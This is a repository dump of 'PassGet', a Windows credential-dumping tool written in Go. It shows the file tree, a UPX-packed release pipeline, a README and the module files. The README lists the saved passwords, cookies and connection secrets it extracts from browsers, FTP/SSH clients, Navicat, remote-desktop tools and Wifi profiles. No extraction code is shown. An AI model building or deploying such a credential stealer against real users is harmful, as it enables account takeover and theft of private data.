├── .github
├── conf
│ └── .goreleaser.yml
└── workflows
│ └── goreleaser.yml
├── .gitignore
├── README.md
├── go.mod
├── go.sum
├── log
├── level
│ └── level.go
├── log.go
└── logger.go
├── main.go
└── modules
├── browser
├── browserGet.go
├── browserdata
│ ├── bookmark
│ │ └── bookmark.go
│ ├── browserdata.go
│ ├── cookie
│ │ └── cookie.go
│ ├── creditcard
│ │ └── creditcard.go
│ ├── download
│ │ └── download.go
│ ├── extension
│ │ └── extension.go
│ ├── history
│ │ └── history.go
│ ├── imports.go
│ ├── localstorage
│ │ ├── localstorage.go
│ │ └── localstorage_test.go
│ ├── outputter.go
│ ├── password
│ │ └── password.go
│ └── sessionstorage
│ │ └── sessionstorage.go
└── pick
│ ├── browser.go
│ ├── browser_windows.go
│ ├── chromium
│ ├── chromium.go
│ └── chromium_windows.go
│ ├── consts.go
│ └── firefox
│ └── firefox.go
├── filezilla
└── filezilla.go
├── finalshell
├── decrypt.go
├── finalshell.go
└── modules.go
├── navicat
├── decrypt.go
├── modules.go
└── navicat.go
├── rdp
└── rdp.go
├── run
├── get.go
└── run.go
├── sunlogin
└── sunlogin.go
├── todesk
└── todesk.go
├── utils
├── browser
│ ├── browser.go
│ ├── byteutil
│ │ └── byteutil.go
│ ├── crypto
│ │ ├── asn1pbe.go
│ │ ├── asn1pbe_test.go
│ │ ├── crypto.go
│ │ ├── crypto_darwin.go
│ │ ├── crypto_linux.go
│ │ ├── crypto_test.go
│ │ ├── crypto_windows.go
│ │ └── pbkdf2.go
│ ├── extractor
│ │ ├── extractor.go
│ │ └── registration.go
│ ├── fileutil
│ │ └── fileutil.go
│ ├── types
│ │ └── types.go
│ └── typeutil
│ │ └── typeutil.go
├── modules.go
├── remote
│ └── remote.go
└── utils.go
├── wifi
└── wifi.go
└── winscp
└── winscp.go
/.github/conf/.goreleaser.yml:
--------------------------------------------------------------------------------
1 | before:
2 | hooks:
3 | - go mod tidy
4 | builds:
5 | -
6 | id: default
7 | env:
8 | - CGO_ENABLED=0
9 | goos:
10 | - windows
11 | # - linux
12 | # - darwin
13 | # - freebsd
14 | # - solaris
15 | goarch:
16 | - amd64
17 | # - "386"
18 | # - arm
19 | # - arm64
20 | # - mips
21 | # - mipsle
22 | # - mips64
23 | goarm:
24 | - "6"
25 | - "7"
26 | flags:
27 | - -trimpath
28 | ldflags:
29 | - -s -w
30 | upx:
31 | -
32 | ids: [ default ]
33 | enabled: true
34 | # goos: ["windows", "linux"]
35 | goos: ["windows"]
36 | # goarch: ["amd64", "386"]
37 | goarch: ["amd64"]
38 | compress: best
39 | # lzma: true
40 | # brute: true
41 | archives:
42 | -
43 | format: binary
44 | allow_different_binary_count: true
45 | name_template: >-
46 | {{- .ProjectName }}
47 | {{- if eq .Os "darwin"}}_mac
48 | {{- else if eq .Os "linux"}}
49 | {{- else if eq .Os "windows"}}
50 | {{- else }}_{{ .Os }}{{ end }}
51 | {{- if eq .Arch "amd64" }}
52 | {{- else if eq .Arch "386" }}32
53 | {{- else }}_{{ .Arch }}{{ end }}
54 | {{- if .Arm }}v{{ .Arm }}{{ end -}}
55 | checksum:
56 | name_template: 'checksums.txt'
57 | snapshot:
58 | name_template: "{{ incpatch .Version }}-next"
59 | changelog:
60 | sort: asc
61 | filters:
62 | exclude:
63 | - '^docs:'
64 | - '^test:'
65 | - "^*.md"
66 | - "^*.ya?ml"
--------------------------------------------------------------------------------
/.github/workflows/goreleaser.yml:
--------------------------------------------------------------------------------
1 | name: goreleaser
2 |
3 | #on:
4 | # push:
5 | # tags:
6 | # - '*'
7 | on:
8 | push:
9 | branches:
10 | - main
11 | # - '*'
12 |
13 | permissions:
14 | contents: write
15 |
16 | jobs:
17 | goreleaser:
18 | runs-on: ubuntu-latest
19 | timeout-minutes: 60
20 | steps:
21 | - name: "Check out code"
22 | uses: actions/checkout@v3
23 | with:
24 | fetch-depth: 0
25 |
26 | - name: "Set up Go"
27 | uses: actions/setup-go@v4
28 | with:
29 | go-version: 1.20.14
30 | -
31 | name: Install UPX
32 | uses: crazy-max/ghaction-upx@v3
33 | with:
34 | install-only: true
35 |
36 | - name: UPX version
37 | run: upx --version
38 |
39 | -
40 | name: "Create release on GitHub"
41 | uses: goreleaser/goreleaser-action@v4
42 | with:
43 | distribution: goreleaser
44 | version: latest
45 | args: "release --clean -f .github/conf/.goreleaser.yml"
46 | workdir: .
47 | env:
48 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
49 |
--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
1 | .idea
2 | *.exe
3 | results/*
4 | results
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | &font=Bitter&forks=1&issues=1&language=1&logo=https://avatars.githubusercontent.com/u/24542600?v=4&name=1&owner=1&pattern=Circuit%20Board&pulls=1&stargazers=1&theme=Dark)
2 |
3 | ## Reference
4 |
5 | - https://github.com/moonD4rk/HackBrowserData
6 | - https://github.com/flydyyg/readTdose-xiangrikui
7 | - https://cloud.tencent.com/developer/article/1684021
8 | - https://github.com/passer-W/FinalShell-Decoder
9 | - https://github.com/RowTeam/SharpDecryptPwd
10 |
11 |
12 | ## Export Supported App
13 |
14 | | App | Supported |
15 | |:------------|:--------:|
16 | | FinalShell | ✅ |
17 | | WinSCP | ✅ |
18 | | Navicat | ✅ |
19 | | Browser | ✅ |
20 | | FileZilla | ✅ |
21 | | Wifi | ✅ |
22 | | SunLogin | ✅ |
23 | | TortoiseSVN | Working |
24 | | MobaltXTerm | Working |
25 | | XManager | Working |
26 |
27 | ## Supported Browser
28 |
29 | | Browser | Password | Cookie | Bookmark | History |
30 | |:-------------------|:--------:|:------:|:--------:|:-------:|
31 | | Google Chrome | ✅ | ✅ | ✅ | ✅ |
32 | | Google Chrome Beta | ✅ | ✅ | ✅ | ✅ |
33 | | Chromium | ✅ | ✅ | ✅ | ✅ |
34 | | Microsoft Edge | ✅ | ✅ | ✅ | ✅ |
35 | | 360 Speed | ✅ | ✅ | ✅ | ✅ |
36 | | QQ | ✅ | ✅ | ✅ | ✅ |
37 | | Brave | ✅ | ✅ | ✅ | ✅ |
38 | | Opera | ✅ | ✅ | ✅ | ✅ |
39 | | OperaGX | ✅ | ✅ | ✅ | ✅ |
40 | | Vivaldi | ✅ | ✅ | ✅ | ✅ |
41 | | Yandex | ✅ | ✅ | ✅ | ✅ |
42 | | CocCoc | ✅ | ✅ | ✅ | ✅ |
43 | | Firefox | ✅ | ✅ | ✅ | ✅ |
44 | | Firefox Beta | ✅ | ✅ | ✅ | ✅ |
45 | | Firefox Dev | ✅ | ✅ | ✅ | ✅ |
46 | | Firefox ESR | ✅ | ✅ | ✅ | ✅ |
47 | | Firefox Nightly | ✅ | ✅ | ✅ | ✅ |
48 | | Internet Explorer | ❌ | ❌ | ❌ | ❌ |
49 |
50 | ##
51 | 
52 |
--------------------------------------------------------------------------------
/go.mod:
--------------------------------------------------------------------------------
1 | module PassGet
2 |
3 | go 1.20
4 |
5 | require golang.org/x/sys v0.28.0
6 |
7 | require (
8 | github.com/go-ini/ini v1.67.0
9 | github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1
10 | github.com/otiai10/copy v1.14.0
11 | github.com/parsiya/golnk v0.0.0-20221103095132-740a4c27c4ff
12 | github.com/shirou/gopsutil/v3 v3.24.5
13 | github.com/stretchr/testify v1.10.0
14 | github.com/syndtr/goleveldb v1.0.0
15 | github.com/tidwall/gjson v1.18.0
16 | golang.org/x/crypto v0.31.0
17 | golang.org/x/text v0.21.0
18 | modernc.org/sqlite v1.20.0
19 | )
20 |
21 | require (
22 | github.com/cpuguy83/go-md2man/v2 v2.0.5 // indirect
23 | github.com/davecgh/go-spew v1.1.1 // indirect
24 | github.com/dustin/go-humanize v1.0.1 // indirect
25 | github.com/go-ole/go-ole v1.2.6 // indirect
26 | github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db // indirect
27 | github.com/google/uuid v1.6.0 // indirect
28 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
29 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
30 | github.com/mattn/go-isatty v0.0.20 // indirect
31 | github.com/mattn/go-runewidth v0.0.9 // indirect
32 | github.com/ncruces/go-strftime v0.1.9 // indirect
33 | github.com/olekukonko/tablewriter v0.0.5 // indirect
34 | github.com/pmezard/go-difflib v1.0.0 // indirect
35 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
36 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec // indirect
37 | github.com/russross/blackfriday/v2 v2.1.0 // indirect
38 | github.com/shoenig/go-m1cpu v0.1.6 // indirect
39 | github.com/tidwall/match v1.1.1 // indirect
40 | github.com/tidwall/pretty v1.2.0 // indirect
41 | github.com/tklauser/go-sysconf v0.3.12 // indirect
42 | github.com/tklauser/numcpus v0.6.1 // indirect
43 | github.com/urfave/cli/v2 v2.27.5 // indirect
44 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 // indirect
45 | github.com/yusufpapurcu/wmi v1.2.4 // indirect
46 | golang.org/x/mod v0.17.0 // indirect
47 | golang.org/x/sync v0.10.0 // indirect
48 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d // indirect
49 | gopkg.in/yaml.v3 v3.0.1 // indirect
50 | lukechampine.com/uint128 v1.2.0 // indirect
51 | modernc.org/cc/v3 v3.40.0 // indirect
52 | modernc.org/ccgo/v3 v3.16.13 // indirect
53 | modernc.org/libc v1.55.3 // indirect
54 | modernc.org/mathutil v1.6.0 // indirect
55 | modernc.org/memory v1.8.0 // indirect
56 | modernc.org/opt v0.1.3 // indirect
57 | modernc.org/strutil v1.2.0 // indirect
58 | modernc.org/token v1.1.0 // indirect
59 | )
60 |
--------------------------------------------------------------------------------
/go.sum:
--------------------------------------------------------------------------------
1 | github.com/cpuguy83/go-md2man/v2 v2.0.5 h1:ZtcqGrnekaHpVLArFSe4HK5DoKx1T0rq2DwVB0alcyc=
2 | github.com/cpuguy83/go-md2man/v2 v2.0.5/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o=
3 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
4 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
5 | github.com/dustin/go-humanize v1.0.1 h1:GzkhY7T5VNhEkwH0PVJgjz+fX1rhBrR7pRT3mDkpeCY=
6 | github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto=
7 | github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
8 | github.com/go-ini/ini v1.67.0 h1:z6ZrTEZqSWOTyH2FlglNbNgARyHG8oLW9gMELqKr06A=
9 | github.com/go-ini/ini v1.67.0/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
10 | github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY=
11 | github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0=
12 | github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1 h1:FWNFq4fM1wPfcK40yHE5UO3RUdSNPaBC+j3PokzA6OQ=
13 | github.com/gocarina/gocsv v0.0.0-20240520201108-78e41c74b4b1/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
14 | github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U=
15 | github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db h1:woRePGFeVFfLKN/pOkfl+p/TAqKOfFu+7KPlMVpok/w=
16 | github.com/golang/snappy v0.0.0-20180518054509-2e65f85255db/go.mod h1:/XxbfmMg8lxefKM7IXC3fBNl/7bRcc72aCRzEWrmP2Q=
17 | github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE=
18 | github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
19 | github.com/google/pprof v0.0.0-20221118152302-e6195bd50e26 h1:Xim43kblpZXfIBQsbuBVKCudVG457BR2GZFIz3uw3hQ=
20 | github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
21 | github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
22 | github.com/hpcloud/tail v1.0.0 h1:nfCOvKYfkgYP8hkirhJocXT2+zOD8yUNjXaWfTlyFKI=
23 | github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
24 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 h1:Z9n2FFNUXsshfwJMBgNA0RU6/i7WVaAegv3PtuIHPMs=
25 | github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8=
26 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 h1:6E+4a0GO5zZEnZ81pIr0yLvtUWk2if982qA3F3QD6H4=
27 | github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I=
28 | github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
29 | github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
30 | github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/QdE+0=
31 | github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
32 | github.com/mattn/go-sqlite3 v1.14.15 h1:vfoHhTN1af61xCRSWzFIWzx2YskyMTwHLrExkBOjvxI=
33 | github.com/ncruces/go-strftime v0.1.9 h1:bY0MQC28UADQmHmaF5dgpLmImcShSi2kHU9XLdhx/f4=
34 | github.com/ncruces/go-strftime v0.1.9/go.mod h1:Fwc5htZGVVkseilnfgOVb9mKy6w1naJmn9CehxcKcls=
35 | github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec=
36 | github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY=
37 | github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
38 | github.com/onsi/ginkgo v1.7.0 h1:WSHQ+IS43OoUrWtD1/bbclrwK8TTH5hzp+umCiuxHgs=
39 | github.com/onsi/ginkgo v1.7.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
40 | github.com/onsi/gomega v1.4.3 h1:RE1xgDvH7imwFD45h+u2SgIfERHlS2yNG4DObb5BSKU=
41 | github.com/onsi/gomega v1.4.3/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
42 | github.com/otiai10/copy v1.14.0 h1:dCI/t1iTdYGtkvCuBG2BgR6KZa83PTclw4U5n2wAllU=
43 | github.com/otiai10/copy v1.14.0/go.mod h1:ECfuL02W+/FkTWZWgQqXPWZgW9oeKCSQ5qVfSc4qc4w=
44 | github.com/otiai10/mint v1.5.1 h1:XaPLeE+9vGbuyEHem1JNk3bYc7KKqyI/na0/mLd/Kks=
45 | github.com/parsiya/golnk v0.0.0-20221103095132-740a4c27c4ff h1:japdIZgV4tJIgn7NqUD7mAkLiPRsPK5LXVgjNwFtDA4=
46 | github.com/parsiya/golnk v0.0.0-20221103095132-740a4c27c4ff/go.mod h1:A24WXUol4NXZlK8grjh/CsZnPlimfwaQFt5PQsqS27s=
47 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM=
48 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4=
49 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c h1:ncq/mPwQF4JjgDlrVEn3C11VoGHZN7m8qihwgMEtzYw=
50 | github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c/go.mod h1:OmDBASR4679mdNQnz2pUhc2G8CO2JrUAVFDRBDP/hJE=
51 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE=
52 | github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo=
53 | github.com/russross/blackfriday/v2 v2.1.0 h1:JIOH55/0cWyOuilr9/qlrm0BSXldqnqwMsf35Ld67mk=
54 | github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
55 | github.com/shirou/gopsutil/v3 v3.24.5 h1:i0t8kL+kQTvpAYToeuiVk3TgDeKOFioZO3Ztz/iZ9pI=
56 | github.com/shirou/gopsutil/v3 v3.24.5/go.mod h1:bsoOS1aStSs9ErQ1WWfxllSeS1K5D+U30r2NfcubMVk=
57 | github.com/shoenig/go-m1cpu v0.1.6 h1:nxdKQNcEB6vzgA2E2bvzKIYRuNj7XNJ4S/aRSwKzFtM=
58 | github.com/shoenig/go-m1cpu v0.1.6/go.mod h1:1JJMcUBvfNwpq05QDQVAnx3gUHr9IYF7GNg9SUEw2VQ=
59 | github.com/shoenig/test v0.6.4 h1:kVTaSd7WLz5WZ2IaoM0RSzRsUD+m8wRR+5qvntpn4LU=
60 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA=
61 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY=
62 | github.com/syndtr/goleveldb v1.0.0 h1:fBdIW9lB4Iz0n9khmH8w27SJ3QEJ7+IgjPEwGSZiFdE=
63 | github.com/syndtr/goleveldb v1.0.0/go.mod h1:ZVVdQEZoIme9iO1Ch2Jdy24qqXrMMOU6lpPAyBWyWuQ=
64 | github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
65 | github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
66 | github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
67 | github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
68 | github.com/tidwall/pretty v1.2.0 h1:RWIZEg2iJ8/g6fDDYzMpobmaoGh5OLl4AXtGUGPcqCs=
69 | github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
70 | github.com/tklauser/go-sysconf v0.3.12 h1:0QaGUFOdQaIVdPgfITYzaTegZvdCjmYO52cSFAEVmqU=
71 | github.com/tklauser/go-sysconf v0.3.12/go.mod h1:Ho14jnntGE1fpdOqQEEaiKRpvIavV0hSfmBq8nJbHYI=
72 | github.com/tklauser/numcpus v0.6.1 h1:ng9scYS7az0Bk4OZLvrNXNSAO2Pxr1XXRAPyjhIx+Fk=
73 | github.com/tklauser/numcpus v0.6.1/go.mod h1:1XfjsgE2zo8GVw7POkMbHENHzVg3GzmoZ9fESEdAacY=
74 | github.com/urfave/cli/v2 v2.27.5 h1:WoHEJLdsXr6dDWoJgMq/CboDmyY/8HMMH1fTECbih+w=
75 | github.com/urfave/cli/v2 v2.27.5/go.mod h1:3Sevf16NykTbInEnD0yKkjDAeZDS0A6bzhBH5hrMvTQ=
76 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1 h1:gEOO8jv9F4OT7lGCjxCBTO/36wtF6j2nSip77qHd4x4=
77 | github.com/xrash/smetrics v0.0.0-20240521201337-686a1a2994c1/go.mod h1:Ohn+xnUBiLI6FVj/9LpzZWtj1/D6lUovWYBkxHVV3aM=
78 | github.com/yusufpapurcu/wmi v1.2.4 h1:zFUKzehAFReQwLys1b/iSMl+JQGSCSjtVqQn9bBrPo0=
79 | github.com/yusufpapurcu/wmi v1.2.4/go.mod h1:SBZ9tNy3G9/m5Oi98Zks0QjeHVDvuK0qfxQmPyzfmi0=
80 | golang.org/x/crypto v0.31.0 h1:ihbySMvVjLAeSH1IbfcRTkD/iNscyz8rGzjF/E5hV6U=
81 | golang.org/x/crypto v0.31.0/go.mod h1:kDsLvtWBEx7MV9tJOj9bnXsPbxwJQ6csT/x4KIN4Ssk=
82 | golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA=
83 | golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c=
84 | golang.org/x/net v0.0.0-20180906233101-161cd47e91fd/go.mod h1:mL1N/T3taQHkDXs73rZJwtUhF3w3ftmwwsq0BUmARs4=
85 | golang.org/x/net v0.25.0 h1:d/OCCoBEUq33pjydKrGQhw7IlUPI2Oylr+8qLx49kac=
86 | golang.org/x/sync v0.0.0-20180314180146-1d60e4601c6f/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=
87 | golang.org/x/sync v0.10.0 h1:3NQrjDixjgGwUOCaF8w2+VYHv0Ve/vGYSbdkTa98gmQ=
88 | golang.org/x/sync v0.10.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
89 | golang.org/x/sys v0.0.0-20180909124046-d0be0721c37e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=
90 | golang.org/x/sys v0.0.0-20190916202348-b4ddaad3f8a3/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
91 | golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
92 | golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
93 | golang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
94 | golang.org/x/sys v0.11.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
95 | golang.org/x/sys v0.28.0 h1:Fksou7UEQUWlKvIdsqzJmUmCX3cZuD2+P3XyyzwMhlA=
96 | golang.org/x/sys v0.28.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
97 | golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=
98 | golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
99 | golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
100 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d h1:vU5i/LfpvrRCpgM/VPfJLg5KjxD3E+hfT1SH+d9zLwg=
101 | golang.org/x/tools v0.21.1-0.20240508182429-e35e4ccd0d2d/go.mod h1:aiJjzUbINMkxbQROHiO6hDPo2LHcIPhhQsa9DLh0yGk=
102 | golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
103 | golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=
104 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM=
105 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=
106 | gopkg.in/fsnotify.v1 v1.4.7 h1:xOHLXZwVvI9hhs+cLKq5+I5onOuwQLhQwiu63xxlHs4=
107 | gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys=
108 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ=
109 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw=
110 | gopkg.in/yaml.v2 v2.2.1 h1:mUhvW9EsL+naU5Q3cakzfE91YhliOondGd6ZrsDBHQE=
111 | gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
112 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
113 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
114 | lukechampine.com/uint128 v1.2.0 h1:mBi/5l91vocEN8otkC5bDLhi2KdCticRiwbdB0O+rjI=
115 | lukechampine.com/uint128 v1.2.0/go.mod h1:c4eWIwlEGaxC/+H1VguhU4PHXNWDCDMUlWdIWl2j1gk=
116 | modernc.org/cc/v3 v3.40.0 h1:P3g79IUS/93SYhtoeaHW+kRCIrYaxJ27MFPv+7kaTOw=
117 | modernc.org/cc/v3 v3.40.0/go.mod h1:/bTg4dnWkSXowUO6ssQKnOV0yMVxDYNIsIrzqTFDGH0=
118 | modernc.org/cc/v4 v4.21.4 h1:3Be/Rdo1fpr8GrQ7IVw9OHtplU4gWbb+wNgeoBMmGLQ=
119 | modernc.org/ccgo/v3 v3.16.13 h1:Mkgdzl46i5F/CNR/Kj80Ri59hC8TKAhZrYSaqvkwzUw=
120 | modernc.org/ccgo/v3 v3.16.13/go.mod h1:2Quk+5YgpImhPjv2Qsob1DnZ/4som1lJTodubIcoUkY=
121 | modernc.org/ccgo/v4 v4.19.2 h1:lwQZgvboKD0jBwdaeVCTouxhxAyN6iawF3STraAal8Y=
122 | modernc.org/ccorpus v1.11.6 h1:J16RXiiqiCgua6+ZvQot4yUuUy8zxgqbqEEUuGPlISk=
123 | modernc.org/fileutil v1.3.0 h1:gQ5SIzK3H9kdfai/5x41oQiKValumqNTDXMvKo62HvE=
124 | modernc.org/gc/v2 v2.4.1 h1:9cNzOqPyMJBvrUipmynX0ZohMhcxPtMccYgGOJdOiBw=
125 | modernc.org/httpfs v1.0.6 h1:AAgIpFZRXuYnkjftxTAZwMIiwEqAfk8aVB2/oA6nAeM=
126 | modernc.org/libc v1.55.3 h1:AzcW1mhlPNrRtjS5sS+eW2ISCgSOLLNyFzRh/V3Qj/U=
127 | modernc.org/libc v1.55.3/go.mod h1:qFXepLhz+JjFThQ4kzwzOjA/y/artDeg+pcYnY+Q83w=
128 | modernc.org/mathutil v1.6.0 h1:fRe9+AmYlaej+64JsEEhoWuAYBkOtQiMEU7n/XgfYi4=
129 | modernc.org/mathutil v1.6.0/go.mod h1:Ui5Q9q1TR2gFm0AQRqQUaBWFLAhQpCwNcuhBOSedWPo=
130 | modernc.org/memory v1.8.0 h1:IqGTL6eFMaDZZhEWwcREgeMXYwmW83LYW8cROZYkg+E=
131 | modernc.org/memory v1.8.0/go.mod h1:XPZ936zp5OMKGWPqbD3JShgd/ZoQ7899TUuQqxY+peU=
132 | modernc.org/opt v0.1.3 h1:3XOZf2yznlhC+ibLltsDGzABUGVx8J6pnFMS3E4dcq4=
133 | modernc.org/opt v0.1.3/go.mod h1:WdSiB5evDcignE70guQKxYUl14mgWtbClRi5wmkkTX0=
134 | modernc.org/sortutil v1.2.0 h1:jQiD3PfS2REGJNzNCMMaLSp/wdMNieTbKX920Cqdgqc=
135 | modernc.org/sqlite v1.20.0 h1:80zmD3BGkm8BZ5fUi/4lwJQHiO3GXgIUvZRXpoIfROY=
